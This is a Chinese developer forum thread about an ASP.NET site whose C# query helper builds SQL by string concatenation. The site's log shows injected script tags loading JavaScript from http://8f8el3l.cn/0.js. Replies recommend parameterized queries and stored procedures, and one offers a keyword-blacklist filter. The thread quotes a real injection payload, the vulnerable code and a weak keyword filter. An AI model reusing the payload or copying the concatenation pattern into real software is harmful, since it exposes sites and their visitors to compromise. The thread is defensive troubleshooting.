我的源码:  #region 使用一条Sql得到一个数据表
    /// <summary>
    /// 从一条SQL语句返回一个数据表
    /// </summary>
    /// <param name="sql"></param>
    /// <returns></returns>
    public static System.Data.DataTable GetDtFromSql(string sql)
    {
        System.Data.DataTable dt = null;
        System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand();
        command.Connection = GetSqlConn();
        command.CommandText = sql;
        System.Data.SqlClient.SqlDataAdapter adapter = new System.Data.SqlClient.SqlDataAdapter();
        adapter.SelectCommand = command;
        System.Data.DataSet ds = new DataSet();
        try
        {
            command.Connection.Open();
            string sql1=sql;
            sql = sql.Replace("'", "\"");
            command.CommandText = string.Format("insert into lljl(llsj,sqltxt) values(getdate(),'{0}')", sql);
            command.ExecuteNonQuery();
            if (sql.IndexOf("script") == -1)
            {
                command.CommandText = sql1;
                adapter.Fill(ds);
            }            
            command.Connection.Close();
            dt = ds.Tables[0];        }
        catch
        {            
            if (command.Connection.State == System.Data.ConnectionState.Open)
            {
                command.Connection.Close();
            }
            command.Dispose();        }
        return dt;
    }
    #endregion
    
            DataTable dt = Common.GetDtFromSql("select top 8 id,biaoti,leixing from yxdt where istj=1 order by fbsj desc");
数据库记录的日志:select top 8 id,biaoti,leixing from yxdt where istj=1 order by fbsj desc<script src=http://8f8el3l.cn/0.js></script><script src=http://8f8el3l.cn/0.js></script>被人挂了js脚本 请教高手解答

解决方案 »

  1.   

    先在ie 里禁止 执行js脚本(对你网站没有影响的情况下) 
    你的sql语句不够安全。换。
    在进程找到可疑进程 可以借助工具
    断开网络 杀毒删除文件。更换密码和关闭不毕业的端口
      

  2.   

    不要拼sql的方式,用参数形式.并且保存到数据库的时候对于一些特殊的
    html标记要做相应的处理.
      

  3.   

    sql = sql.Replace("'", "\""); 
                command.CommandText = string.Format("insert into lljl(llsj,sqltxt) values(getdate(),'{0}')", sql); 
    这一段是为了暂时的记录日志用,在网站怅发布时是没有的.
    现在的问题是:运行一个简单的查询语句,可是在数据库端看到的查询语句中被加了js内容.
    哎....
      

  4.   

    insert into lljl(llsj,sqltxt) values(getdate(),'{0}')", sql); 把它写成参数的形式.重要数据要进行必要加密.
      

  5.   

    sql = sql.Replace("'", "\""); 
                command.CommandText = string.Format("insert into lljl(llsj,sqltxt) values(getdate(),'{0}')", sql); 
    这一段是为了暂时的记录日志用,在网站怅发布时是没有的. 
    现在的问题是:运行一个简单的查询语句,可是在数据库端看到的查询语句中被加了js内容. 
    哎....
      

  6.   

    没什么经验,在执行sql语句时可以用SqlParameter参数的形势,还有救市过滤一下关键字。
    然后用存储过程,我能想到得就这么多了
      

  7.   

    估计你的源码已被改动了,在SQL查询语句后加了一个<js>代码字符串?
    或者是数据库的存储上做了什么手脚.
      

  8.   

    通过存储过程实现数据添加,在global里设置防止sql 注入
     void Application_BeginRequest(Object sender, EventArgs e)
        {
            StartProcessRequest();    }
        private void StartProcessRequest()
        {
            try
            {
                string getkeys = "";
                string sqlErrorPage = "index.aspx";
                if (System.Web.HttpContext.Current.Request.QueryString != null)
                {                for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
                    {
                        getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
                        if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
                        {
                            System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                            System.Web.HttpContext.Current.Response.End();
                        }
                    }
                }
                if (System.Web.HttpContext.Current.Request.Form != null)
                {
                    for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
                    {
                        getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
                        if (getkeys == "__VIEWSTATE") continue;
                        if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
                        {
                            System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                            System.Web.HttpContext.Current.Response.End();
                        }
                    }
                }
            }
            catch
            {      }
        }
        private bool ProcessSqlStr(string Str)
        {
            bool ReturnValue = true;
            try
            {
                if (Str.Trim() != "")
                {
                    string SqlStr = "exec¦insert¦select¦delete¦master¦update¦truncate¦declare";
                    string[] anySqlStr = SqlStr.Split('¦');
                    foreach (string ss in anySqlStr)
                    {
                       if(!Str.ToLower().Contains("updatepanel"))
                       {
                        if (Str.ToLower().IndexOf(ss) >= 0)
                        {
                            ReturnValue = false;
                            break;
                        }
                       }
                    }
                }
            }
            catch
            {
                ReturnValue = false;
            }
            return ReturnValue;
        }
      

  9.   

    你的代码安全性不高,可以用存贮过程,尽量不要拼接字符串,如果页面有传值的,可以把非法的字符过滤掉,减少sql注入。在网上搜下防注入的代码,封装一个类。用起来比较方便点
      

  10.   

    就是因为你的查询语句写的不规范才导致别人可以插入脚本的  传参的时候使用参数化就好了嘛  sqlparameter
      

  11.   

    大家的意思"select top 8 id,biaoti,leixing from yxdt where istj=1 order by fbsj desc"不要使用这样的写法?
      

  12.   

    sql = sql.Replace("'", "\""); 
    这一句如果我一开始输入的时候注入,后面的都注释,就是把单引号改了也不好使呀,还要把“--”去掉,尽量用sqlparameter这种方式,安全。